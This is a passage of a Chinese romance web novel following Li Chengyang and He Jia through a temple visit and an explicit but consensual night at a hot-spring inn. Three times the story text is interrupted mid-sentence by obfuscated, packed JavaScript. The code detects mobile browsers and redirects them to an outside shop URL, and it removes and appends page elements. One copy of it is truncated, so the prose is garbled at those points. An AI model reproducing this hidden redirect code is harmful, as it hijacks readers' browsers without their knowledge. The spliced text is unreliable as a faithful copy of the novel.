她摸了摸肚子:“我有点饱了,想喝水。” 他放下背包,掏了一瓶百岁山给她,“喝吧。” 她喝了几口之后,感叹道:“李成杨你是哆啦A梦吗?怎么我要什么你都有?你包包里到底装什么了?” “装了我觉得应该会用上的东西,结果真的都用上了。” “你怎么连我的发圈都带了?” 他说:“你那天掉我房间了,我一直带在身上的。” “为什么呀?难道你想要我一直在你身边吗?” “不是,是我想要一直待在你身边。” “没看出来你这么依赖我啊?” “嗯,我说过,是我依赖你。” “好吧,那回去我再给你一个发圈,你就又可以戴在身上了。” “不用。”他把她揽在怀里,轻声说:“你可以在我身上留下点别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395429|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,那样的话更有感觉。” 何嘉耳朵发烫,狐疑地盯着他:“你今天怎么回事,怎么老说怪怪的话?” “有吗?” “有的,平时都是我在说这种话的。” “你不喜欢?” “喜欢的。” “那就好。” 小姑娘又喝了一口水,突然有一个大胆的猜想:这个臭老头不会终于要在那个事情上松口了吧? 嘿嘿,那样的话就太好了。 李成杨看她莫名笑起来,问她:“你笑什么?” “没有。”她心情大好,摸出手机转移注意力,“刚才壅哥和我说他和舒舒姐在云山寺等我们,我们快去汇合吧。” “嗯,走吧。” 云山寺距离他们的位置只有十分钟,没走一会儿就见到张壅正在给冉舒拍照。 冉舒看到何嘉,对她招手:“小嘉过来一起呀!” 何嘉很快和她站在一起,李成杨站在张壅旁边和他一起拍照。 大概拍了十分钟,冉舒拉着何嘉说悄悄话,“小嘉,你和李成杨要不要进寺里拜一拜?” 何嘉问:“这里是拜什么的啊?” “什么都能拜,但是据说姻缘特别灵。” “真的吗?” “是呀,我和张壅谈恋爱的时候就来过了,据说不是正缘的情侣来拜了之后会分手,但是是正缘的话就会走到最后,所以我和他就结婚了。” 何嘉看了眼李成杨的位置,又对冉舒说:“神明会造假吗?如果它不小心打了个瞌睡怎么办?” 冉舒笑笑:“你想知道的话,就和他一起试试吧,遵循你心底的答案。” 她点头,又问:“你和壅哥不进去吗?” “我们已经爬完了,晚上还有事,等会就下山了。” “啊?我们都还没聊多久呢?” “没事的。我们以后还有机会见面呀,毕竟,我觉得我的眼睛和神明一样灵验。” “好的。”何嘉听到这话很安心:“那我就去找李成杨啦。” “去吧。”冉舒朝她挥手。 李成杨早就站在寺庙门口等她。 他一身白衣,背后是一面巨大的红墙,他就像一粒雪花,看上去如此耀眼洁净。 何嘉牵起他的手,问:“李成杨,你知道有关于这座寺庙的传说吗?” “是什么?” “人们说,凡是来这里拜过的情侣,如果不是正缘都会很快分手,所以只有正缘才可以走到最后。” 他反握她的手,问她:“你相信命运吗?” 她只说:“我相信你,我也相信我们。” “你害怕吗?” “我不怕。” “那我们现在,要进去吗?” “走吧,我想进去。” 跨过寺前的门槛,两人紧握的手从未分开。 他们顺着指示牌的位置找到主殿,寺庙里供奉着一尊面慈目善的佛像,在灯光下发出柔和的辉光。 殿内摆着两个钩织跪垫,上面的绣着精致的莲花像,颜色层次分明,宛如新生。 他们一人跪了一个,两人相视一笑,然后真诚地跪在佛祖面前。 和塑像对上视线的时候,何嘉一时间热泪盈眶,心中有种说不出的感觉。 那感觉不是委屈也不是悲伤,相反的是,它有些像喜悦又有点像看见了命运里的自己。 她想到身边的人,想到那些发生在自己身边的事,一瞬间觉得自己被幸运包围。她所遇到的都是热情友好的人,她的世界总算是充满阳光。 这一刻,她感到被爱,也感到幸福,就像是灵魂认出了她一般。 她流下一滴滚烫的泪水,开始虔诚地礼拜。 双手合十,她心中不断默念—— “请佛祖保佑,李成杨要一辈子开心快乐。” 与命运无关,与姻缘无关,就只是希望他可以开心快乐。 李成杨和她同样双手合十,近乎恳请地默念—— “请佛祖保佑,何嘉无论在哪里都要一辈子幸福。” 与索求无关,与风月无关,就只是希望她可以永远幸福。 用最强的信念默念三遍,两人紧闭双眼,几乎是同一时间开始跪拜。 每一次都叩首都竭尽全力,害怕稍微出错佛祖就听不到他们内心的声音。 如果佛祖真的能听到,那么他们愿意每年都来供奉添香。 如果佛祖真的能实现,那么他们愿意将自己拥有的一切都双手奉上。 只要,是他们能做到的,就一定会不留余力地做到。 最后一叩首起身,他们不约而同地看向对方。 何嘉的泪痕还留在面颊上,李成杨朝她露出一个微笑。她也朝他微笑,侧脸划过的晶莹还未干涸。 “别怕。” 他轻柔地拭去她眼角的泪水,再次重复:“别怕,我在。” 她摇摇头,笑着说:“我不怕,我只是感到幸福。” “好,那样就好。” 李成杨重新握住何嘉的手,并没有问她许了怎样的愿望,因为他好像有一种预感,他们的愿望是一致的。 何嘉也没有问,反而抓着他的袖子说:“李成杨我们走吧。” 他说好,离开主殿的时候对佛祖轻声说了一句:“谢谢。” 剩下的事情就交给命运。 他们只想抓住这一刻,以两个灵魂的形式手拉着手,就这么走入人世间。 佛祖一句话也没说,只是静静地目送他们走远,嘴角一直带着慈悲的微笑。 55. 第55章 从白云寺出来已经接近傍晚六点,何嘉和李成杨坐了索道下山。 回到民宿的时候正好赶上晚餐,怀疑是下午一路上吃了太多零食,这会儿他们都不饿。 何嘉一回到房间就躺在床上,连衣服都没来得及换就开始呼呼大睡。 李成杨比她回来得晚了一些,忙着给她挑水果,凑了个樱桃拼盘才回来。 室内空调开得低,他进来的时候打了个冷颤,偏偏床上躺着的人还不盖被子,一点都不叫人省心。 他跪在床上替她盖好被角,小姑娘却迷迷糊糊地拍了拍身边的位置,“李成杨,你陪我睡一会儿好不好嘛。” 她闭着眼睛,头发散在床单上,像海藻一样柔软。 男人摸了摸她的发丝,拿起一缕放在唇边吻了吻,又俯身去看她的睡颜。 她和初见那天一样,五官柔和秀丽,但组合在一起的时候多了一丝清雅。她笑的时候总是机灵可爱,她睡着的时候却安然恬静。 就是这副容貌,就是她的每个表情,都让他思之如狂。 李成杨怎么忍心拒绝,他躺在她身边,伸手将她捞在怀里,像抚摸小猫一样抚摸她的发顶。 何嘉在他怀里蹭了蹭,温暖的香味涌进他的鼻腔,让他忍不住嗅了嗅。 她的味道总是那么好闻,让他每次都情不自禁。 再闻一口,他环住她的后腰,将她紧紧箍在怀里。胸膛传来女孩的体温,让他感觉很安定。 睡了大概二十分钟,何嘉感觉身上好热,迷蒙之中怀疑自己抱了个火炉一样。 她双手用力,想要推开那个火炉,但不知怎么的,就是纹丝不动。 “嗯?”她小声哼了一下。 男人以为她做了噩梦,于是将她搂得更紧,手掌在她背上轻拍,嘴里说着:“乖,别怕。” 何嘉听到这个声音,即使没有睁眼也觉得熟悉,但又一下想不起来是谁的声音。 她抠了抠脸颊,呼吸打在火炉的胸口,又回弹到她脸上。她有点恼了,试着翻身将火炉踢开,但还是没有任何作用。 怎么回事? 她缓缓挣开双眼,看见脸前是一块白色的胸肌。 可是,为什么胸肌是白色的? 意识还没恢复,她脑子里一直在重复这个问题。 动作比意识快了一步,她伸出爪子开始实践。 小手在那块胸肌上捏了一把,有点硬又有点软,手感特别让人忍不住又捏了几下,可惜的是有块布挡着,根本就摸不实在。 大概是感受到这块布的存在,她一下反应过来,这原来是穿了衣服的意思。 于是她将手心伸进那件短袖,没有阻挡地摸到了火炉的胸肌。 有点烫手,但是弧度丰盈,皮肤还滑滑的,让人爱不释手。 又摸了两分钟,她感觉手掌之下有心脏猛跳,一下子就发现这是人,不是什么火炉! 何嘉抬头去看自己的头顶,只见男人抿着唇一言不发。他的眼神隐忍,好像是在忍耐什么罪大恶极的事情一样。 “摸够没?”李成杨抓住她的手,把它压在自己胸前。 她一瞬间清醒,腼腆地点头:“摸够了。” 他的鼻吸喷薄到她的脸上,她闻到他的咖啡香气缠绕着荷尔蒙气息。 李成杨还没接话,何嘉又说:“你为什么那么丰硕啊?” “丰硕?你这什么形容词?” “就是形容你很有姿色。” “姿色?” 李成杨带着她的手下移,她感觉他腹间的绒毛在她指尖叫嚣,有些赧然地低下头:“你干什么呀?” 他轻笑,“我带你看点更有姿色的东西。” 说着就要继续下滑,动作很慢,顺着裤腰滑到胯骨,何嘉却一下挣开他的手掌,没让他继续往下走。 她红着脸把自己裹在被子里,声音很抖,还散发热气,“李成杨你今天好奇怪好奇怪,你干嘛突然这样?” 李成杨手掌撑在脸上,对着面前的团子低声说:“你不是一直想感受吗?” 团子红着脸颤抖,“我,我不敢。” “不敢?”男人的声音有了调戏的意味,“还有什么不敢的?你对我,向来什么都敢。” “对吗?乖乖。” 何嘉在被子里全身发烫,大脑突然一片空白,连他怎么和她睡在一起的都记不起来。 她问他:“你刚刚怎么抱着我睡啊?” 李成杨掀开她的被子,帮她回忆:“就在二十多分钟前,某人要我和她一起睡,睡完就不认人了?” “有吗?我不记得了。” “不记得了?”他呵笑一声,指腹摩擦她的嘴角,“要不要我帮你回忆一下。” 何嘉推开他,跑下床喝了好大一瓶水,然后颤颤巍巍地看向他,“你是不是被鬼附身了?你把我的李成杨还给我!” “怎么?你不是喜欢我这样吗?现在又不乐意了?我的乖乖,你怎么这么善变?” “我没有,我就是,就是不习惯。” 李成杨从床上翻下来,一步一步朝她走近。 何嘉一紧张便跟着后退,直到大腿磕到木桌上才停下。 他的身体笼罩她,将她藏在阴影之中。 “乖乖。”他叫她的时候低头和她对视,眼神有意无意撩拨她。 她看见他的喉结滚动,仿佛有什么就要蓄势待发。 慌乱中,女孩摸到了果盘里的樱桃,她拿了一颗递到他唇边,试探道:“你要不要先吃点东西?这个应该很好吃的。” 李成杨就着她的手指,将她的指尖和樱桃全都含进嘴里吮吸一遍,露出一个放浪又轻浮的笑,“乖乖,我的宝贝。” 何嘉盯着他的眼睛,在他的瞳孔中找到自己身上的那抹白色。他的脸缓缓朝她凑近,咖啡的香气包裹她,让她从头到脚都变成可疑的粉色。 他的唇离她只有不到半厘米,却停在那里不再动作,他打量她的表情,发现她的眸子除了亢奋还有一丝不易察觉的逃避。 “你还没准备好。” 李成杨伸手拿了她手边的樱桃,在嘴里嚼了几个之后,和她拉开距离。 何嘉重新看见顶灯的光亮,心脏止不住地剧烈跳动。 她愣在原地拍了拍自己的脸颊,忽然意识到他刚才是什么意思。 “李成杨。”何嘉抓住他的手腕,红着耳朵对他说:“我准备好了。” 李成杨却揉了揉她的脑袋,“你刚才很紧张,等会儿再说吧。你不是要泡温泉吗,现在还不到七点,天是亮的。” 何嘉看了看外面的景色,夏天太阳落山晚,现在夕阳的光线打在竹林之间,穿过叶梢,又洒在温泉上,一片波光粼粼。 机会很好,可是她怕抓住一个就会失去另一个。 “我不想泡温泉了。”她看着他撒谎。 他没揭穿她的谎言,反而说:“我想泡,我想陪你泡。” “那我泡完之后还可以得到你的奖励吗?” “什么奖励?” “就是刚刚的。” “哦你说刚刚的啊,不行。” “为什么?” “因为你还没有给我早上说好的奖励。” 这话相当于一剂定心丸,何嘉一下子就知道他是什么意思了。 就算他不是那个意思,她也会让他变成那个意思。 “好吧,那我也想泡温泉。” 何嘉走进洗手间,拿了件浴袍下来,刚准备穿的时候男人走到门口提醒:“别穿浴袍,打湿了会很重。” 她睁大双眼:“你怎么知道我打算穿浴袍的?你好像我肚子里的蛔虫。” 他只笑:“我猜的。我包里带了你的睡衣,你穿睡衣泡。” 说着就从门缝里递了一件粉色的睡衣进来。 何嘉接过睡衣,发现是那件她没怎么穿过的莫代尔吊带。 款式简洁大方,除了肩带比较细,其他都规规矩矩,没有一点特殊设计。 将睡衣穿好,女孩在镜子里来回打量了好几遍。 粉色衬得她的皮肤更加细软,在灯光下散发珍珠般柔美的光泽。 目光下移,她扯了扯胸前的布料,感觉那里没有自己想象得那么丰腴。 但是那又如何呢,她一直都这么满意自己,现在的她就是最好的她,无关于被谁喜爱。 何嘉朝自己笑了笑,又在心里说了一句“fighting”,等心情平静下来才走出室外。 房间里没有李成杨的身影,她踏过落地窗,往茶桌右边看去。 只看了一眼她就知道自己草率了,刚才才冷静下来的心跳,瞬间又开始不受控制地猛跳。 男人坐在温泉里看着她的方向,热气环绕在他周围,他展开双臂,将手肘放在背后的石台上。 像是怕她看不见自己的表情一般,他将头发全都撩至脑后,几滴水珠顺着他的侧脸滑到胸膛上,然后又隐入池水。 那样极具入侵性的五官,就这么完美地展示在空气中,每一寸清晰狠绝的线条,都让人感叹造物主的不公平。 偏他生得那么威严却蛊惑人心。 何嘉忍不住小声问他:“李成杨,你这个样子……是在做什么?” 他勾唇,眼神黏在她身上,一字一句:“是在成为你的苹果。” 她听懂了他的隐喻,从未如此和某人心有灵犀。 一时间感觉双腿发软,轻飘飘地走进水池,衣裙入水的时候浮在水面,她想伸手压下去,却听他沉着声音说了一句:“过来。” 何嘉很轻易地走到他身边,她想和他坐在一起,却被他一下揽在怀里,像从前无数次那样跨坐在他身上。 体温交缠,连着温泉的热意,她感觉身体变得更软,只想贴在他身上,感到一种前所未有的舒心。 大脑皮层太过活跃,导致她的脑子又开始思考一些奇怪的问题。 她环住他的脖子,将下巴埋在他颈间,直接问了:“你为什么不穿睡衣?” “睡衣?” “嗯,你让我穿睡衣,为什么你不穿?” 他舔舔下唇,胸口贴着她的皮肤,问:“我穿睡衣你还摸什么?” “我刚刚摸过了,就不想摸了。” “不想吗?” 何嘉犹豫一下,说:“我想摸那个。” 李成杨很大方:“随便摸,摸了负责。” 她一下就不敢了,抓着他的后颈没再有别的动作。 水里的温度高,他们贴在一起泡了不到十分钟,何嘉就觉得意识恍恍惚惚的。 她一直抱着他,叹了一口气。 李成杨在她脖子上轻吻,哑着声音问她:“怎么叹气?” 她说:“我想你以后都这样在我身边。” 他的吻上移到她耳垂,轻轻舔舐着,让她轻颤一下将他抱得更紧。 “李成杨,你以后也要待在我身边。” “我会的,我会一直待在你身边,只为你,一直一直待在你身边。” 过度圆满的答案,就像圆月一样让她害怕失去。太美好的事物总是稍纵即使,就那么一瞬间的完美记忆,就要用一辈子去追忆。 她感到脆弱。 何嘉松开他的脖子,吻了吻他的额头。 “你记不记得你第一次跟我说,我什么都不告诉你,让你感觉被排除在外的时候?” “记得。”李成杨收起欲色,将她的脸颊放到肩膀上,“那天之后你好像一直不太开心,我当时有点后悔,是我太着急了,我太想要进入你的世界,忘记了你也有你的节奏。” 何嘉摇头:“不是的。我当时虽然不理解你说的话,我一直觉得那些都是没有必要告诉你的事,但是后来我自己想过了。 是我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她摸着他的头发,微微一笑:“李成杨,其实我一直都是有点悲观的人。也许是小时候就知道妈妈爸爸都不要我,所以我总是觉得万事万物都是悲观的,结局都是一样的,没有什么是永恒的,唯一的永恒就是‘永恒’这种东西永远不存在。 相应的,我长这么大,一直是自己单打独斗,有时候遇上几个能说话的人,有时候能遇上几个同路的人,最后还是会相忘于人海。但是遇见你之后,我觉得自己好像有点贪婪了,我想你永远都在我身边,我想未来的很多时刻都和你一起度过。你明白吗?” “我明白。”他在她的耳边掏出真心,将心里最深的秘密都讲给她听。 “我全都明白,因为我想要的和你一样。我想你存在于我的每段记忆,却又害怕自己渐渐变老,再也追不上你的世界。乖乖,等你到我这个年龄的时候,我已经是中年人了,我不止一次害怕你会从我身边离开,所以是我害怕你嫌弃我。” 何嘉很快摇头,对他说:“我也不会嫌弃你,就算你是老爷爷了我还是喜欢你,因为你是这世上为数不多对我那么好的人。” “是么?” “是呀。你记得我强迫你那天吧?那天,其实答辩完之后我没有和同学聚餐,都是骗你的。” “骗我?那你去做什么了?” “那天我妈妈来找我了,她跟我说了一点家里面的事情,我没忍住问她为什么不爱我,结果她说,她天生就没有办法爱我,还告诉我,我好像是个不该存在的个体,然后我就有点崩溃了。” 李成杨微微怔住,问她:“她真的这么说?” “是的。” “没关系的,”他不断抚摸她的头发,安抚着:“那也和你无关,那是他们的问题,不该由你承担。” “我知道的,只是我听到的那瞬间,感觉自己的世界都被颠覆了,我又想起阿婆以后要是不在了,我就是一个人了,是一个人生活在这个世界上,就像一个虚无一样。” 他吻了吻她的鬓角,“不会的,你现在有我,不会是一个人。” 何嘉笑了笑,突然打趣一句:“对呀,那天就是想到你了,所以我才那么疯狂,你当时给我打电话,说你在家等我,我一下就控制不住地想和你贴在一起,好像那样的话我就能感受到自己还存在。” 李成杨心脏发涩,他都不知道他的小乖竟然承受了这么多不该她承受的东西。 他那么爱的宝贝,这些天竟然一直处于这种彷徨无助的状态。他竟然没能在那个时候就将她揽在怀里,一遍又一遍地告诉她,她是谁,她又是怎样的存在。 “对不起,”他长呼一口气,很自责:“对不起,乖乖。我怎么没早点知道呢?要是我早点知道就好了,我该一直陪在你身边的。” 何嘉已经变得坦然:“你不要道歉呀,我也没有及时告诉你,所以你不要觉得内疚,那些都过去了,我现在觉得没有那么重要了,重要的是你在我身边,你说对不对?” “不,要是我早点遇到你就好了,要是我早点陪着你就好了,为什么我那么晚才遇到你?” 她亲吻他的脸颊:“你忘记了吗?我们之前讨论过这个话题呀,不要想‘要是’和‘如果’,我们现在的相遇就是最好的,你现在就在我身边,就已经很好了。我要忘记以前那些不愉快的记忆,你也不要在意,好不好?” 李成杨没有说话,一直抱着她,乞求用他的体温带走她身上最后一丝悲伤。 她反过来捏了捏他的耳垂,在他耳边说:“就这样吧,我们以后都要约定一下。” “约定什么?” “该说的话,该解决的问题都要在当天解决,不该想的事情绝对不要留到第二天,我们要保持明天永远是崭新的一天。” “好。” 两人手指拉勾,一百年都不许变。 何嘉重新环上李成杨的脖子,呼吸打在他的鼻尖,酥酥痒痒。 她说:“好啦,这些事情就抛到脑后吧,现在才不是想这些的时候。” 他问:“现在是什么时候?” “奖励你的时候。” “奖励什么?” 她把竹垫上搁置的樱桃放在嘴里,朝他弯了弯眼睛。 “奖励你,干想干的事情。” 56. 第56章 “想干的事情?什么想干的事情?” 李成杨松开她的后腰,手掌漂在水里。 何嘉吻了吻他的喉结,问:“你不想吃樱桃吗?” 她嘴里的那颗樱桃还是完整的,刻意含在嘴里没有咀嚼。 男人没有动作,只是垂眼看她。 目光落在她胸前的粉色面料上,那块软纱轻柔地浮在水面上,透出她若隐若现的莹白。 “我不想吃樱桃。” 他在撒谎。 女孩敏锐地捕捉到他的视线,坏笑一下,说:“可是我想。” “有多想?” “很想,现在就想。” “那你自己来。” 李成杨的指尖划过她背脊的皮肤,一点一点地摩擦。 她感受到他的薄茧,有些难耐地颤抖一下。 水里热气氤氲,何嘉朝他缓缓靠近,他的呼吸平稳,在诱导她成为一个热衷学习的学生。 她却停下那里,刻意丢掉课本。 “我不会。” “接吻你不会?” “我不会,我要你教我。” “我教你?你确定?” 何嘉想起余川初次下雪的夜晚,还有他强势又热烈的吻。 很乖顺地点头:“我确定。” 李成杨眼睛半眯,笑了:“我的乖乖,不是你奖励我吗?怎么还要我自己动手?” 她红着脸说:“因为我喜欢你刚刚那样对我。” “刚刚哪样?” 指尖下滑,触到腰迹,女孩的腰窝像两弯月色一样动人。 “是这样吗?” 轻轻捏了一把,手指越过蜿蜒,往下轻捻。 “还是这样?” 何嘉呜咽一声,将脸埋在他的脖子上。 热气蒸腾,她被白雾蒸得没了力气。 李成杨贴着她的耳朵说:“怎么了?不是这样?那是哪样?说话。” 何嘉推开他的脸。在他手臂上咬了一口,眉毛皱起。 “李成杨,你好讨厌。” 他一听这话,觉得喜悦。 这无疑是一句告白,他明白,在何嘉心里,有关于他的靠近都是喜欢。 那么他就可以不要脸地将讨厌等同于喜欢。 “讨厌就是喜欢,你喜欢我。” “哼。”何嘉将口是心非这一点拿捏地很好,她还是坚持:“我讨厌你。” 李成杨纠正:“你喜欢我。” 她用力踢他,换来了一个沉醉的吻。 樱桃藏在他嘴里,牙齿轻咬,樱桃的汁水爆开,酸涩和甜蜜充斥舌尖。他将这份味道尽数还给她,要她品尝,要她拥有。 何嘉卷住果肉,连着他的气息全都吞咽下肚,嘴里只剩一颗樱桃核。 果核坚硬,世界缩小成一点。 它是生命的原点。 李成杨抱住何嘉的身体,手指环绕她散在水中的长发。她的发梢像水蛇一样缠在他手臂上,把他牢牢地和她捆绑在一起。 何嘉想到这个比喻,有些走神地笑了。 李成杨察觉她的不专心,惩罚般在她唇上轻咬,密密麻麻的小针扎得她神经亢奋。 “李成杨,你害怕蛇吗?” 他胸膛激烈起伏,喘着粗气看她。 “什么蛇?你吗?” 她轻舔他的嘴角,抓住他的发尾,轻轻拉扯。刺激从头皮一路向下,让他不自觉闷哼一声。 他眼神浑浊,步步引导,“现在想咬一咬苹果吗?试试吧。” 她却轻拍他的脸颊,随意地说:“你知不知道,蛇果和蛇其实一点关系也没有?” “不知道,但是我知道怎么把苹果变成蛇果。” “怎么变?” “缠着我。” 何嘉双手交叠在他颈后,感受着他的嘴唇在她肩上轻吮,力气恰到好处,不会留下痕迹但一定会让她颤栗。 她轻哼几声,手指没入池水。 顺着热流往下,略过他的胸膛和腹肌,停在最末处的布料。 她问:“可以吗?” 他下颚紧绷,看着她不说话。 何嘉向来聪明,将他的反应等同于默认。 她大胆地摸来摸去,将目标攥在手心,热意灼烧她,让她惊呼一声,选择丢开。 “你,那个,你……” 李成杨气息不稳:“我怎么?” “你和那天不一样。” “怎么不一样?” “更烫……” 他哑着声音说:“哪里烫?” 何嘉摇头,不好意思说出来。 “又不说话?乖乖,你怎么总这样?这样是什么意思?挑战我的耐心?” 她心脏狂跳,读懂了他最大的兴趣。 那就是,他喜欢用质问代替情欲,他习惯端着上位者的姿态引诱她,教她一步一步拆开他,在她身边俯首称臣。 小姑娘是个优秀的学者,凡是她愿意学的,向来都乐此不疲。 她注视他的双眼,在他的视线之下重新握住命运。 咬着嘴唇,一字一句:“我想要苹果。” “真乖。”他要给她奖励。 李成杨埋在她的胸口,在那里落下唯一一个印章。独一无二,贴近真理。 “那你想不想要我的奖励?”何嘉抓住他的脖子,指尖用力,“成杨哥哥,你想要奖励吗?” 她的腿在水下不安分地踢来踢去,让他眉心紧缩,一时间忘记自己身处何地。 池水越来越热,他被千缕万缕水藻缠绕,仿佛要扯断他的神经。 “想不想?”水蛇又问了他一句。 李成杨在她嘴边伸出手掌,要她施舍:“樱桃核,给我。” 何嘉弯唇,舌头卷着果核,轻轻吐在他手心,再舔了舔那块皮肤,眨着眼睛看他。 快意在他脑子里炸成烟花,他闭上眼睛,喉结滚了不止一次。 闭上眼,各种扭曲罪恶的想法盘旋上升,他发觉自己从一开始就不是什么正人君子,那些下作的东西,时常徘徊在他脑海里。 何嘉没要他的回答,开始贴近他,温热相触,他颤了一下,对她说:“别在这里。” “为什么?” “水里脏。” “那你抱我回去。” 男人打横抱起姑娘的身体,水珠猛地砸在池子里。 何嘉身上的睡衣早已湿透,布料凌乱地贴在身上,勾勒出生命的弧度,类似于宇宙的奥义。 浴巾柔软,李成杨将她裹在里面擦干湿润,他的动作很轻,所到之处点点粉意。 直到皮肤干燥,他才手指一勾,将她打湿的睡衣丢在地上。 何嘉没了安全感,扯过一边的被子将自己遮得严严实实,有些羞赧地看着他。 房间开着两盏暖黄的床头灯,窗户和窗帘大敞着,甚至能看见外面的风景寂静,只有竹叶被风吹得轻微摇晃。 李成杨将她的浴巾裹在腰间,关好门窗之后又在背包里摸了个什么出来。 何嘉问他:“你还没好吗?” 他紧握手掌,朝她走来。 “怎么?着急了?” 她伸手拉他,小声说:“我没带那个,这里有没有?” “哦那个,没有。” “啊?没有那个怎么办?” 李成杨轻吻她,低声说:“没有那个,有礼物。” “什么礼物?” “伸手。” 何嘉伸出手心,他将东西放在中央。 正方形的塑料躺在她手里,让她诧异地瞪大双眼。 “葡萄味的……?” 李成杨圈住她的手,挑眉,“不喜欢?” “怎么会是葡萄味的?” “你送过。” 她反应过来他说的是之前那颗硬糖,一下红了耳根,“你……不会早就准备好了吧?” “是啊。” “那你早上起来收拾东西,说自己带的都是这两天能用上的东西,包括这个吗?” “是啊。” “那你之前一直不松口都是耍我的?” “是啊。” “李成杨你好坏!” 何嘉往他身上一踹,被他迅速握住脚踝。 “坏?”他咬了咬她的膝盖,掌心向上。 “坏吗?谁坏?” “不是你吗?乖乖?”他手掌反光,故意拿到她面前,“你看,都脏了。” “李,李成杨。” “什么李,李成杨,我叫李成杨,叫清楚点。” 何嘉紧闭双眼,面色似委屈又享受,有些受不住地推开他的手臂。 他不再跟她兜圈子,凑到她耳边问:“喜不喜欢葡萄?现在,想不想用在我身上?” 她眼睛眯起一条缝,轻轻点头。 “哦,想啊。”李成杨抓住她的手腕,要她好好看清手上的塑料。 她羞怯地盯着那块东西,听见他低沉的声音又响起。 “拆礼物吧,主人。” 何嘉紧绷的弦一下子炸开,将手里的东西砸到他身上,命令他:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395431|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不许说话了。” “啧。霸道。”他拾起东西,慢慢撕开,不忘告知她:“礼物拆好了,该使用了。” 她呆在原地不动,看到他的身影凑近,接着是温柔缠绵的吻。 他吻过她的侧脸,同她交颈温存,不时打量她的神情,稍有皱眉就会停下,直到她主动提醒他,开始呢喃他的名字。 “李成杨,李成杨……” “我在。怎么了?喜欢吗?” “……” “不说话了?” “……” “喜欢我吗?喜欢?嗯,喜欢就继续。” “……” “又不喜欢了?嗯,那也继续。因为我喜欢。” “乖,宝贝现在的样子很漂亮。” 他只在言语上放肆,行动时处处周到,无一不是妥帖,让她感觉心脏丰盈,漂泊之中找到了避风良港。 她抓住他,软声叫他:“李成杨。” 他不满意:“不对。” “成杨哥哥……” “不对。” “……” 何嘉面色绯红,颤着语调问:“什么是……” 李成杨吞掉她的嘴唇,将还未说完的话变成呜咽。 窗外热风呼啸,夏夜有了蝉鸣。 室内隔绝一切,只剩孤舟摇曳。 他伏在她身上,将她汗湿的头发全都撩开。 看了眼她的表情,轻声问:“怎么样?” “成杨哥哥……”她对他又挠又掐,完全拥有他。在他身上咬了好会儿,才断断续续地说:“你是我的,你永远是我的……” 男人呼吸迷乱,眼尾带红,额间渗出大滴汗珠,纷纷砸在她的皮肤上。 他看着痕迹一点点蒸发,心中感到很快慰。 何嘉抚摸他的头发,透过他的眼睛,看到快乐和死亡融为一体,那是她无比接近永恒的时刻。 李成杨在同一时间吮吸她的唇瓣,在她耳边不断低语—— “我属于你。” 如此沙哑低沉的声音,却不减宠溺和爱意。她在他的喘息之中逐渐找到自己。 “李成杨,我爱你。” 回应她的是更猛烈的爱意,“我爱你,我爱你,何嘉,我爱你。” 她不再说话,只听他恳求一般将自己剖开:“何嘉,我爱你,你只爱我好不好?” “我爱你,乖乖,我爱你……” 午夜十二点的钟声响起,两个灵魂依偎在柔软里。 何嘉睡过一觉,还是感觉没有力气。 她想叫李成杨,又发觉连说话的力气都没有了,于是戳了戳他的手臂。 他抱着她问:“怎么了?” “唉。” 这声叹气让他太阳穴开始隐隐不安,他紧张地问她:“怎么了?是我让你不满意吗?” “唉。”又是一声。 李成杨慌了,下定决定地保证:“我回去再练练。” 何嘉“噗嗤”一声:“你干嘛啊,那么紧张干什么?我不是那个意思。” “那你怎么叹气。” 小姑娘啧啧称赞:“我只是在感叹,男人果然是三十一枝花。” “怎么说话呢?”李成杨在她脸上吸了一口,粗糙的指腹磨了磨她的嘴唇,“所以,满意了吗?” “很满意。” “满意了就算了?” “那还要怎样?” 他指了指自己的脸颊,“奖励。” “你怎么总是要我奖励你?” “我喜欢。” “好吧。”何嘉在他脸上响亮地亲了一口,似乎用掉了最后一点力气,“我要睡觉了,你自觉一点,帮我收拾一下。” 李成杨啧了一声,“用完就开始指挥我,你翻脸那么快?刚才还说爱我?” 何嘉不理他,当作没听见。 他摇摇头,语气宠溺:“行吧,伺候你。” 浴室的灯光亮起,李成杨拿了干净的帕子,用热水打湿之后才出来。 何嘉已经沉沉睡去,完全听不到身边的动静。 李成杨替她擦净身体,又仔细观察,看看有没有什么不对的地方。 除了有点泛红,其他什么也没有,非常安全。 他的视线又盯了几秒钟,忽然说了一句没有上下文的话。 “乖乖,你好可爱。” 何嘉翻了个身,将他的视线全部隐去。 他捏着帕子回到浴室,闻了闻上面属于她的甜蜜,热气一发不可收拾,直到凌晨才重新躺回她身边。 57. 第57章 Last 朝霞划过天际,阳光里的尘埃浮在半空。 光线打在窗帘上,一点斑驳的痕迹。 何嘉在暖意中睁开双眼,转身去看身边的人。 李成杨还在沉睡。 她从他的臂弯里爬出来,脑袋往枕头上挪了几寸,再调整姿势,将他抱在自己怀里。 他的气味温暖,让她忍不住闻了闻。 然后轻抚他的头发,小声安抚:“宝贝,宝贝,我的宝贝。” 李成杨听到这个声音,恍惚间睁开双眼。 非常迷茫地望着她,“我不是抱着你睡的吗?什么时候在你怀里了?” 她露出梨涡,在他额上亲吻,“我刚才出来啦,我想抱抱你。” 